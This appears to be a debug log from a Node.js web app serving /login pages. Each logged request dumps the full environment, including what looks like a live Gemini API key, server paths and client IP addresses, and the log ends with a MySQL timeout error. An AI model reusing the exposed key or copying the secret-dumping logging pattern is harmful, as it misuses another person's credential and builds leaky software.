    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.196.9.180',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T23:15:44.446Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.196.9.180',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.196.9.180',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T23:15:52.333Z server-connect:router Serving templateView /
2025-12-14T23:15:52.334Z server-connect:app Executing action step identify
2025-12-14T23:15:52.334Z server-connect:app options: { provider: 'security' }
2025-12-14T23:15:52.334Z server-connect:auth No login cookie found
2025-12-14T23:15:52.334Z server-connect:output identity: false
2025-12-14T23:15:52.334Z server-connect:app Executing action step restrict
2025-12-14T23:15:52.334Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T23:15:52.334Z server-connect:output restrict: undefined
2025-12-14T23:15:53.624Z server-connect:router Serving templateView /login
2025-12-14T23:15:53.624Z server-connect:app Executing action step identify
2025-12-14T23:15:53.624Z server-connect:app options: { provider: 'security' }
2025-12-14T23:15:53.624Z server-connect:auth No login cookie found
2025-12-14T23:15:53.624Z server-connect:output identity: false
2025-12-14T23:15:53.625Z server-connect:router Render template layouts/authentication
2025-12-14T23:15:53.625Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.164.126.158',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T23:15:53.624Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.164.126.158',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.164.126.158',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T23:16:03.900Z server-connect:router Serving templateView /
2025-12-14T23:16:03.900Z server-connect:app Executing action step identify
2025-12-14T23:16:03.900Z server-connect:app options: { provider: 'security' }
2025-12-14T23:16:03.900Z server-connect:auth No login cookie found
2025-12-14T23:16:03.900Z server-connect:output identity: false
2025-12-14T23:16:03.900Z server-connect:app Executing action step restrict
2025-12-14T23:16:03.900Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T23:16:03.901Z server-connect:output restrict: undefined
2025-12-14T23:16:05.245Z server-connect:router Serving templateView /login
2025-12-14T23:16:05.245Z server-connect:app Executing action step identify
2025-12-14T23:16:05.245Z server-connect:app options: { provider: 'security' }
2025-12-14T23:16:05.246Z server-connect:auth No login cookie found
2025-12-14T23:16:05.246Z server-connect:output identity: false
2025-12-14T23:16:05.246Z server-connect:router Render template layouts/authentication
2025-12-14T23:16:05.246Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.164.126.158',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T23:16:05.245Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.164.126.158',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.164.126.158',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T23:34:20.834Z server-connect:router Serving templateView /
2025-12-14T23:34:20.834Z server-connect:app Executing action step identify
2025-12-14T23:34:20.834Z server-connect:app options: { provider: 'security' }
2025-12-14T23:34:20.834Z server-connect:auth No login cookie found
2025-12-14T23:34:20.835Z server-connect:output identity: false
2025-12-14T23:34:20.835Z server-connect:app Executing action step restrict
2025-12-14T23:34:20.835Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T23:34:20.835Z server-connect:output restrict: undefined
2025-12-14T23:34:20.840Z server-connect:router Serving templateView /
2025-12-14T23:34:20.840Z server-connect:app Executing action step identify
2025-12-14T23:34:20.840Z server-connect:app options: { provider: 'security' }
2025-12-14T23:34:20.840Z server-connect:auth No login cookie found
2025-12-14T23:34:20.840Z server-connect:output identity: false
2025-12-14T23:34:20.840Z server-connect:app Executing action step restrict
2025-12-14T23:34:20.840Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T23:34:20.841Z server-connect:output restrict: undefined
2025-12-14T23:34:22.744Z server-connect:router Serving templateView /login
2025-12-14T23:34:22.745Z server-connect:app Executing action step identify
2025-12-14T23:34:22.745Z server-connect:app options: { provider: 'security' }
2025-12-14T23:34:22.745Z server-connect:auth No login cookie found
2025-12-14T23:34:22.745Z server-connect:output identity: false
2025-12-14T23:34:22.745Z server-connect:router Render template layouts/authentication
2025-12-14T23:34:22.745Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.164.173.247',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T23:34:22.744Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.164.173.247',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.164.173.247',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T23:34:22.757Z server-connect:router Serving templateView /login
2025-12-14T23:34:22.758Z server-connect:app Executing action step identify
2025-12-14T23:34:22.758Z server-connect:app options: { provider: 'security' }
2025-12-14T23:34:22.758Z server-connect:auth No login cookie found
2025-12-14T23:34:22.758Z server-connect:output identity: false
2025-12-14T23:34:22.758Z server-connect:router Render template layouts/authentication
2025-12-14T23:34:22.758Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '107.172.195.229',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T23:34:22.757Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '107.172.195.229',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '107.172.195.229',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T23:34:30.648Z server-connect:router Serving templateView /
2025-12-14T23:34:30.648Z server-connect:app Executing action step identify
2025-12-14T23:34:30.649Z server-connect:app options: { provider: 'security' }
2025-12-14T23:34:30.649Z server-connect:auth No login cookie found
2025-12-14T23:34:30.649Z server-connect:output identity: false
2025-12-14T23:34:30.649Z server-connect:app Executing action step restrict
2025-12-14T23:34:30.649Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T23:34:30.649Z server-connect:output restrict: undefined
2025-12-14T23:34:33.961Z server-connect:router Serving templateView /login
2025-12-14T23:34:33.961Z server-connect:app Executing action step identify
2025-12-14T23:34:33.961Z server-connect:app options: { provider: 'security' }
2025-12-14T23:34:33.962Z server-connect:auth No login cookie found
2025-12-14T23:34:33.962Z server-connect:output identity: false
2025-12-14T23:34:33.962Z server-connect:router Render template layouts/authentication
2025-12-14T23:34:33.962Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '107.172.195.229',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T23:34:33.961Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '107.172.195.229',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '107.172.195.229',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 01:07:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 01:07:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
